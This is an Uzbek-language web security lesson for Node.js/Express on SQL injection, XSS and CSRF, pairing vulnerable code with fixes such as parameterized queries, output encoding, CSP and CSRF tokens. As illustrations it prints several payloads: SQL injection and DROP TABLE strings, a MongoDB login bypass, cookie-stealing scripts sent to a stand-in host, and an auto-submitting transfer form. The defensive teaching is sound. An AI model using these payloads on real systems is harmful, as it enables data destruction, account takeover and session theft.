SQL Injection, XSS, CSRF — qanday himoyalanish
Muammodan boshlaylik
2009 yilda Heartland Payment Systems — AQShning eng katta to'lov kompaniyalaridan biri — buzildi. 130 million kredit karta ma'lumoti o'g'irlandi. Sabab? Bitta SQL injection zaiflik. Shunchaki qator kod.
Bu uchta hujum turi — SQL Injection, XSS, CSRF — OWASP Top 10 da yillar davomida birinchi o'rinlarda turibdi. Ular murakkab emas. Lekin ko'plab dasturchilar ularni tushunmay, noto'g'ri himoyalanadi.
1. SQL Injection
Bu nima?
SQL Injection — foydalanuvchi kiritgan ma'lumot SQL so'rovga "qo'shilganda" yuz beradi. Natijada tajovuzkor o'z SQL kodini ishga tushirishi mumkin.
Hayotiy o'xshatma
Tasavvur qiling: kutubxonaga kirishda qo'riqchi sizdan ismingizni so'raydi va ro'yxatdan qidiradi: "Abdulloh nomini qidir". Endi kimdir ismini shunday yozsa: Abdulloh'; DROP TABLE users; -- — va qo'riqchi buni aynan shu ko'rinishda tekshiruvga yubora. Butun ro'yxat yo'qoladi.
SQL Injection aynan shu: foydalanuvchining kiritgan matni SQL buyrug'ining bir qismiga aylanib ketadi.
Zaif kod qanday ko'rinadi
app.get('/users', async (req, res) => {
const { name } = req.query;
// ❌ TO'G'RIDAN-TO'G'RI QO'SHILGAN — XAVFLI
const result = await pool.query(
`SELECT * FROM users WHERE name = '${name}'`
);
res.json(result.rows);
});
Tajovuzkor quyidagini yuborsa nima bo'ladi?
GET /users?name=' OR '1'='1
SQL so'rov bunday ko'rinish oladi:
SELECT * FROM users WHERE name = '' OR '1'='1'
'1'='1' har doim true — barcha foydalanuvchilar qaytariladi. Yana xavfliroqi:
GET /users?name='; DROP TABLE users; --
Bu esa jadvalni butunlay o'chiradi.
Himoya: Parameterized Queries
app.get('/users', async (req, res) => {
const { name } = req.query;
// ✅ PARAMETR SIFATIDA — XAVFSIZ
const result = await pool.query(
'SELECT * FROM users WHERE name = $1', // ← $1 placeholder
[name] // ← qiymat alohida
);
res.json(result.rows);
});
Nima uchun bu xavfsiz? Chunki $1 va [name] — ikkita alohida narsa. Ma'lumotlar bazasi SQL strukturasini bir marta tahlil qiladi, keyin name qiymatini faqat ma'lumot sifatida qo'shadi. U hech qachon SQL buyrug'iga aylanmaydi.
Mongoose (MongoDB) da ham xavf bor
MongoDB SQL ishlatmaydi, lekin o'zining injection muammosi bor:
// ❌ XAVFLI — object to'g'ridan-to'g'ri qabul qilingan
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const user = await User.findOne({ username, password }); // ← password object bo'lsa?
});
Tajovuzkor quyidagini yuborsa:
{ "username": "admin", "password": { "$ne": null } }
MongoDB so'rovi: password != null — bu har doim true, parolsiz kirish mumkin.
// ✅ XAVFSIZ — string ekanligini tekshirib oling
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (typeof password !== 'string') { // ← tip tekshiruvi
return res.status(400).json({ error: 'Noto\'g\'ri format' });
}
const user = await User.findOne({ username });
if (!user || !(await bcrypt.compare(password, user.password))) {
return res.status(401).json({ error: 'Noto\'g\'ri ma\'lumotlar' });
}
res.json({ message: 'Kirish muvaffaqiyatli' });
});
2. XSS — Cross-Site Scripting
Bu nima?
XSS — tajovuzkorning JavaScript kodi boshqa foydalanuvchilarning brauzerida ishga tushishi. Natijada cookie o'g'irlash, sahifani boshqarish, fishing hujumlar.
Hayotiy o'xshatma
Tasavvur qiling: xabarnoma doskasi bor, har kim xabar qoldira oladi. Kimdir xabar o'rniga shunday yozadi:
<script>document.location='https://xaker.com?cookie='+document.cookie</script>
Agar sayt bu matnni HTML ga to'g'ridan-to'g'ri qo'ysa — boshqa foydalanuvchi sahifani ochganda uning cookie si o'g'irlanadi. Skript foydalanuvchining nomidan ishlaydi.
Stored XSS (saqlanadigan)
// ❌ XAVFLI — foydalanuvchi matni HTML ga qo'yilgan
app.get('/comments', async (req, res) => {
const comments = await Comment.find();
// Frontend da: <div>${comment.text}</div>
res.json(comments);
});
Tajovuzkor kommentariya qoldiradi:
<script>fetch('https://xaker.com?c='+document.cookie)</script>
Bu kommentariya bazada saqlanadi. Har kim sahifani ochganda — skript ishlaydi.
Reflected XSS (qaytariladigan)
// ❌ XAVFLI — so'rov parametri HTML ga qo'yilgan
app.get('/search', (req, res) => {
const { q } = req.query;
res.send(`<h1>Qidiruv: ${q}</h1>`); // ← XSS
});
Havola: /search?q=<script>alert(1)</script> — bu havolani kimga yuborsangiz, ular brauzerida skript ishlaydi.
Himoya 1: Output Encoding
Frontend da React, Vue, Angular ishlatilsa — ular avtomatik ekranlaydi. Lekin server-side render yoki to'g'ridan-to'g'ri HTML qaytarilsa:
npm install he
const he = require('he'); // ← HTML encoding kutubxonasi
app.get('/search', (req, res) => {
const { q } = req.query;
const safe = he.encode(q); // ← <script> → <script>
res.send(`<h1>Qidiruv: ${safe}</h1>`);
});
<script> → <script> — brauzer bu ni matn sifatida ko'rsatadi, kod sifatida emas.
Himoya 2: Content Security Policy (CSP)
Helmet orqali CSP sarlavhasini qo'shing:
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"], // ← faqat o'z domenimizdan
scriptSrc: ["'self'"], // ← faqat o'z skriptlarimiz
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:"],
}
}));
Nima uchun CSP? Hatto XSS zaiflik bo'lsa ham, tashqi saytlarga ma'lumot yuborish blokirovka qilinadi. Ikkinchi qatlam himoya.
Himoya 3: httpOnly Cookie
res.cookie('token', jwtToken, {
httpOnly: true, // ← JavaScript dan o'qib bo'lmaydi
secure: true, // ← faqat HTTPS
sameSite: 'strict'
});
Agar httpOnly: true bo'lsa — document.cookie orqali token o'qib bo'lmaydi. XSS hujum muvaffaqiyatli bo'lsa ham, cookie o'g'irlanmaydi.
3. CSRF — Cross-Site Request Forgery
Bu nima?
CSRF — boshqa sayt foydalanuvchi nomidan sizning serveringizga so'rov yuborishi. Foydalanuvchi login qilingan holda zararli sahifani ochsa — uning nomidan pul o'tkazish, parol o'zgartirish kabi amallar bajarilishi mumkin.
Hayotiy o'xshatma
Tasavvur qiling: bankda hisobingiz bor, siz login qilgansiz. Kimdir sizga elektron pochta orqali havola yubordi: "Bepul iPhone yuting!". Siz bosdingiz — ko'rinmas forma avtomatik to'ldirilib, bank saytiga pul o'tkazish so'rovi yuborildi. Bank serveriga cookie bilan to'g'ri so'rov keladi — u haqiqiy deb qabul qiladi.
Qanday ishlaydi
<!-- xaker.com saytida yashirin forma -->
<form action="https://sizningbank.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000000">
<input type="hidden" name="to" value="xaker_hisob">
</form>
<script>document.forms[0].submit();</script> <!-- ← avtomatik yuboriladi -->
Foydalanuvchi brauzerida bank cookie si bor — so'rov cookie bilan ketadi — bank qabul qiladi.
Himoya 1: SameSite Cookie
res.cookie('sessionId', sessionToken, {
httpOnly: true,
secure: true,
sameSite: 'strict' // ← boshqa saytdan cookie YUBORILMAYDI
});
sameSite: 'strict' — cookie faqat o'z domenimizdan so'rovlarda yuboriladi. Boshqa saytdan kelgan so'rovda cookie bo'lmaydi — server rad etadi.
sameSite: 'lax' — navigatsiya (GET) uchun ruxsat, lekin POST/PUT/DELETE uchun blok.
Himoya 2: CSRF Token
npm install csurf
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true }); // ← CSRF tokenni cookie da saqlash
// Token olish endpoint
app.get('/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() }); // ← frontend uchun token
});
// Himoyalangan endpoint
app.post('/transfer', csrfProtection, (req, res) => {
// Agar CSRF token to'g'ri bo'lmasa — csurf avtomatik 403 qaytaradi
const { amount, to } = req.body;
// ... pul o'tkazish
res.json({ message: 'O\'tkazildi' });
});
Frontend har so'rovda X-CSRF-Token sarlavhasini yuboradi:
// Frontend (React/Vue/Vanilla JS)
const { csrfToken } = await fetch('/csrf-token').then(r => r.json());
await fetch('/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // ← token sarlavhada
},
body: JSON.stringify({ amount: 100, to: 'do\'st' })
});
Nima uchun bu ishlaydi? Xaker saytidan yuborilgan so'rovda bu token bo'lmaydi — chunki u sizning saytingizdan olinishi kerak, same-origin policy tufayli boshqa sayt uni o'qiy olmaydi.
Himoya 3: Origin/Referer tekshiruvi
app.use((req, res, next) => {
if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
const origin = req.headers.origin || req.headers.referer;
if (!origin || !origin.startsWith('https://sizningdomen.com')) {
return res.status(403).json({ error: 'Ruxsatsiz manba' });
}
}
next();
});
Hamma himoyani birga ishlatish
const express = require('express');
const helmet = require('helmet');
const csrf = require('csurf');
const he = require('he');
const app = express();
// 1. Helmet — xavfsizlik sarlavhalari (CSP, HSTS va boshqalar)
app.use(helmet());
// 2. JSON body parsing
app.use(express.json());
// 3. CSRF himoya (cookie yoki session asosida)
const csrfProtection = csrf({ cookie: { httpOnly: true, secure: true, sameSite: 'strict' } });
app.use(csrfProtection);
// 4. SQL Injection — parameterized queries (pg, mysql2, sequelize)
app.get('/products', async (req, res) => {
const { category } = req.query;
const result = await pool.query(
'SELECT * FROM products WHERE category = $1', // ← placeholder
[category]
);
res.json(result.rows);
});
// 5. XSS — output encoding (server-side render uchun)
app.get('/profile/:id', async (req, res) => {
const user = await User.findById(req.params.id);
const safeName = he.encode(user.name); // ← encoding
res.send(`<h1>Salom, ${safeName}</h1>`);
});
// 6. Cookie — httpOnly, secure, sameSite
app.post('/login', async (req, res) => {
// ... autentifikatsiya
res.cookie('token', jwtToken, {
httpOnly: true, // ← JS dan o'qib bo'lmaydi
secure: true, // ← faqat HTTPS
sameSite: 'strict' // ← CSRF himoya
});
res.json({ message: 'Kirish muvaffaqiyatli' });
});
Tez-tez uchraydigan xatolar
1. String concatenation bilan SQL so'rov tuzish
// ❌
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
Sababi: req.params.id = 1; DROP TABLE users; -- bo'lishi mumkin. Har doim parameterized queries ishlating.
2. XSS ni faqat frontendda hal qilaman deb o'ylash
// ❌ — server tarafida ham encoding zarur
res.send(`<div>${userContent}</div>`); // server-side render da xavfli
Sababi: frontend qoidalari bypass qilinishi mumkin. Xavf qayerda bo'lsa — u yerda himoya bo'lishi kerak. Server HTML qaytarsa — server ham encoding qilsin.
3. CSRF tokenini LocalStorage da saqlash
// ❌
localStorage.setItem('csrfToken', token);
Sababi: XSS bo'lsa LocalStorage o'qiladi, token o'g'irlanadi. CSRF token faqat server tomonidan boshqariladigan HttpOnly cookie da yoki DOM dan olingan qiymat sifatida ishlatilsin.
4. sameSite: 'none' + secure: false
// ❌
res.cookie('session', token, { sameSite: 'none' }); // secure bo'lmasa brauzer qabul qilmaydi
Sababi: sameSite: 'none' faqat secure: true bilan ishlaydi. Aks holda zamonaviy brauzerlar cookie ni butunlay rad etadi.
5. Faqat frontend validatsiya
// ❌ — faqat frontend da tekshirish
<input type="number" min="1" max="100"> // ← bu faqat UI himoya
Sababi: tajovuzkor brauzerdan o'tib, to'g'ridan-to'g'RI serverga so'rov yuborishi mumkin. Backend har doim o'z tekshiruvini qilishi kerak.
Xulosa
| Hujum | Sababi | Himoya |
|---|---|---|
| SQL Injection | User input SQL ga qo'shilishi | Parameterized queries |
| XSS | User content HTML ga qo'yilishi | Output encoding, CSP, httpOnly |
| CSRF | Cookie avtomatik yuborilishi | SameSite cookie, CSRF token |
Uchta qoida eslab qoling:
- Hech qachon user inputni to'g'ridan-to'g'RI SQL ga qo'shmang — har doim parametrlar ishlating.
- User kontentni HTMLga qo'yishdan oldin encoding qiling — React/Vue buni avtomatik qiladi.
- Cookie ni
httpOnly,secure,sameSite: 'strict'bilan o'rnatng — bu uchta atribut birgalikda kuchli himoya beradi.
Keyingi dars: 31-dars: Environment Variables — dotenv, maxfiy ma'lumotlarni saqlash